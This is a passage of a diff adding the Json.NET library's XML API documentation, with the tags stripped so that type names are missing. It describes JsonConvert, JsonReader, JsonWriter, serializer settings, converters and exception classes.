object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + A JSON string representation of the object. + + + + + Serializes the specified object to a JSON string using a type, formatting and . + + The object to serialize. + Indicates how the output should be formatted. + The used to serialize the object. + If this is null, default serialization settings will be used. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + A JSON string representation of the object. + + + + + Deserializes the JSON to a .NET object. + + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to a .NET object using . + + The JSON to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The JSON to deserialize. + The of object being deserialized. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type. + + The type of the object to deserialize to. + The JSON to deserialize. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the given anonymous type. + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the given anonymous type using . + + + The anonymous type to deserialize to. This can't be specified + traditionally and must be inferred from the anonymous type passed + as a parameter. + + The JSON to deserialize. + The anonymous type object. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized anonymous type from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The type of the object to deserialize to. + The JSON to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The type of the object to deserialize to. + The object to deserialize. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using a collection of . + + The JSON to deserialize. + The type of the object to deserialize. + Converters to use while deserializing. + The deserialized object from the JSON string. + + + + Deserializes the JSON to the specified .NET type using . + + The JSON to deserialize. + The type of the object to deserialize to. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + The deserialized object from the JSON string. + + + + Populates the object with values from the JSON string. + + The JSON to populate values from. + The target object to populate values onto. + + + + Populates the object with values from the JSON string using . + + The JSON to populate values from. + The target object to populate values onto. + + The used to deserialize the object. + If this is null, default serialization settings will be used. + + + + + Serializes the to a JSON string. + + The node to serialize. + A JSON string of the . + + + + Serializes the to a JSON string using formatting. + + The node to serialize. + Indicates how the output should be formatted. + A JSON string of the . + + + + Serializes the to a JSON string using formatting and omits the root object if is true. + + The node to serialize. + Indicates how the output should be formatted. + Omits writing the root object. + A JSON string of the . + + + + Deserializes the from a JSON string. + + The JSON string. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by . + + The JSON string. + The name of the root element to append when deserializing. + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by + and writes a Json.NET array attribute for collections. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + The deserialized . + + + + Deserializes the from a JSON string nested in a root element specified by , + writes a Json.NET array attribute for collections, and encodes special characters. + + The JSON string. + The name of the root element to append when deserializing. + + A value to indicate whether to write the Json.NET array attribute. + This attribute helps preserve arrays when converting the written XML back to JSON. + + + A value to indicate whether to encode special characters when converting JSON to XML. + If true, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify + XML namespaces, attributes or processing directives. Instead special characters are encoded and written + as part of the XML element name. + + The deserialized . + + + + Converts an object to and from JSON. + + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON 